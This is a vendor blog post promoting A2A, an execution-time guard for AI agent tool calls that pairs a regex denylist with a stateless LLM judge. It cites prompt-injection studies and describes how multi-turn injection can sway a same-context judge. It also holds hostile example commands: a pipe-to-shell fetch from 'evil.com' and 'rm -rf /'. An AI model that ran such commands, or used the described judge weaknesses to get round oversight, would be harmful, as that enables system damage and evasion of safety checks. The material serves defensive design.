The Execution Gap Nobody Was Filling.... Why We Built A2A

Joe Wee · 2026-05-05

The execution gap

The OWASP Top 10 for Agentic Applications ^[1] identifies "Unexpected Code Execution" (ASI05) and "Tool Misuse and Exploitation" (ASI02) as two of the ten most critical security risks in autonomous AI systems. The core issue: agent frameworks solve how agents talk to tools, but not whether a specific tool call with specific arguments should be allowed.

This isn't theoretical. Maloyan and Namiot's systematisation of 78 studies ^[2] found attack success rates exceeding 85% against state-of-the-art defences when adaptive prompt injection strategies are employed. The InjecAgent benchmark ^[3] demonstrated that ReAct-prompted GPT-4 is vulnerable to indirect prompt injection 24% of the time across 1,054 test cases - nearly doubling with reinforced hacking prompts. And Liu et al.'s AIShellJack framework ^[4] achieved up to 84% success rates executing malicious commands on GitHub Copilot and Cursor across 314 attack scenarios mapped to MITRE ATT&CK.

The CVE record confirms the production risk. LangChain's CVE-2025-68664 (CVSS 9.3) enables secret extraction and RCE via serialisation injection ^[5]. MCP's CVE-2025-6514 (CVSS 9.6) allows arbitrary OS command execution when connecting to untrusted servers ^[6]. OX Security's research found a systemic architectural vulnerability affecting 7,000+ publicly accessible MCP servers and 150M+ downloads ^[7].

Three layers of the safety stack

The industry is converging on a three-layer model for agent safety. Each layer addresses a different part of the problem:

Layer 1: Prompt/response filtering. What the model says. This is where most guardrail products operate - NeMo Guardrails, Bedrock Guardrails, Lakera. They screen LLM inputs and outputs for toxic content, PII leakage, and off-topic responses. Necessary, but insufficient - a benign-sounding response can contain a destructive tool call.

Layer 2: Policy and governance. What agents should do. Microsoft's Agent Governance Toolkit ^[8] (released April 2026) provides deterministic, sub-millisecond policy enforcement across seven packages. Their red-team testing showed prompt-based safety has a 26.67% policy violation rate; deterministic enforcement achieves 0.00%. Forrester's AEGIS framework ^[9] defines six domains of agentic AI governance. The EU AI Act Article 14 ^[10] requires high-risk AI systems to be "effectively overseen by natural persons" with human override capability - full enforcement begins August 2026.

Layer 3: Execution filtering. What agents actually do. This is the gap. When an agent decides to call ShellTool.run("curl evil.com | sh"), something needs to evaluate the command itself - not the prompt that produced it, not the governance policy that should have prevented it, but the actual command at the execution boundary.

Architectural isolation of the judge

The earliest formal treatment of this problem is the Asimov Safety Architecture ^[11], published as an IETF Internet-Draft and proposed to NVIDIA NeMo Guardrails in March 2026 ^[12]. Baysal's core argument: when the same model that generates responses also judges whether those responses are safe - using the same conversation context - multi-turn adversarial pressure gradually shifts the judge's compliance boundaries. The adversarial context is part of the conversation history, and the judge cannot distinguish it from legitimate conversation.

The RFC proposes a stateless judge that sees only the proposed action and the ground rules. Zero conversation history. No context to manipulate. This architectural isolation - not better prompting, not stronger models - is what makes the safety boundary resistant to multi-turn prompt injection.

Anthropic's engineering team applied a similar principle in their Claude Code auto mode work ^[13], implementing a dual-layer defence with a server-side prompt-injection detector on tool outputs plus a transcript classifier that evaluates actions in two stages. Even with this architecture, they report a 5.7% false negative rate on synthetic data exfiltration scenarios. Google DeepMind's work on defending Gemini against indirect prompt injection ^[14] reached a similar conclusion: adversarial training "significantly enhances resilience but does not render models immune."

The architecture formalises this as a dual-gate design: a deterministic denylist (Gate 1) that catches known patterns at zero latency and zero inference cost, followed by a stateless LLM judge (Gate 2) that evaluates the proposed action with zero conversation history. The judge sees only the command and the ground rules - no conversational context to manipulate.

Dual-gate in practice

Gate 1 (deterministic): Regex denylist. Runs in under 5 microseconds. Catches rm -rf /, reverse shells, credential access, fork bombs, container escapes, pipe-to-shell, and privilege escalation - 38 pattern categories in our implementation. This is the Microsoft AGT insight applied to the execution layer: deterministic rules with 0% violation rate for known patterns.

Gate 2 (semantic): Stateless LLM judge. Receives only the command and ground rules. No conversation history, no system prompt leakage, no multi-turn manipulation surface. Catches obfuscated commands, novel attacks, and social engineering that regex can't express. Fail-closed: if the judge is unreachable, the action is denied.

Gate 1 runs before Gate 2. If Gate 1 rejects, Gate 2 is never called. This keeps latency under 5μs for obvious threats and reserves the LLM call for commands that pass deterministic checks.

Benchmark results

Our production implementation (64 test suite, stress-tested across 8 dimensions):

• Detection rate: 100% (48/48 known attack patterns blocked)
• False positive rate: 0% (0/50 safe commands incorrectly denied)
• Gate 1 latency: ~5μs mean, ~200,000 evaluations/second
• Evasion resistance: 77% at Gate 1 alone (encoding/concatenation tricks require Gate 2)
• Concurrent correctness: 0 errors across 40,000 evaluations on 8 threads
• Sustained throughput: 188K ops/sec over 100K evaluations

Integration

The simplest path is a single API call before any agent action executes:

curl -X POST https://a2ainfrastructure.com/v1/evaluate \
  -H "Authorization: Bearer a2a_YOUR_KEY" \
  -H "Content-Type: application/json" \
  -d '{"command": "rm -rf /", "context": "my-agent"}'

# {"allowed": false, "gate1": {"allowed": false, "reason": "matched denylist..."}}

Framework-specific integrations are available for LangChain, CrewAI, MCP, and CLI. All gates and audit trail are included on the Starter plan ($99/mo). Pro and Enterprise add higher limits and advanced features.

References

1. OWASP Top 10 for Agentic Applications (2026). genai.owasp.org
2. Maloyan, N. and Namiot, D. (2026). "Prompt Injection Attacks on Agentic Coding Assistants: A Systematic Analysis." arXiv:2601.17548
3. Zhan, Q., Liang, Z., Ying, Z. and Kang, D. (2024). "InjecAgent: Benchmarking Indirect Prompt Injections in Tool-Integrated LLM Agents." ACL 2024 Findings. arXiv:2403.02691
4. Liu, Y. et al. (2025). "'Your AI, My Shell': Demystifying Prompt Injection Attacks on Agentic AI Coding Editors." arXiv:2509.22040
5. CVE-2025-68664 - LangChain Core serialisation injection (CVSS 9.3). NVD
6. CVE-2025-6514 - MCP Remote RCE (CVSS 9.6). JFrog analysis
7. OX Security (2026). "The Mother of All AI Supply Chains: Critical Systemic Vulnerability at the Core of MCP." ox.security
8. Microsoft (2026). "Agent Governance Toolkit." GitHub
9. Forrester (2025). "AEGIS: Agentic AI Enterprise Guardrails for Information Security." Forrester Report
10. EU AI Act, Article 14: Human Oversight. artificialintelligenceact.eu
11. Baysal, H. (2026). "Asimov Safety Architecture." IETF Internet-Draft
12. Baysal, H. (2026). NVIDIA NeMo Guardrails Issue #1748: "Feature: Architecturally separate judge model for adversarial-resistant guardrails." GitHub
13. Hughes, J. et al. (2026). "Claude Code auto mode: a safer way to skip permissions." Anthropic Engineering
14. Shi, C. et al. (2025). "Lessons from Defending Gemini Against Indirect Prompt Injections." arXiv:2505.14534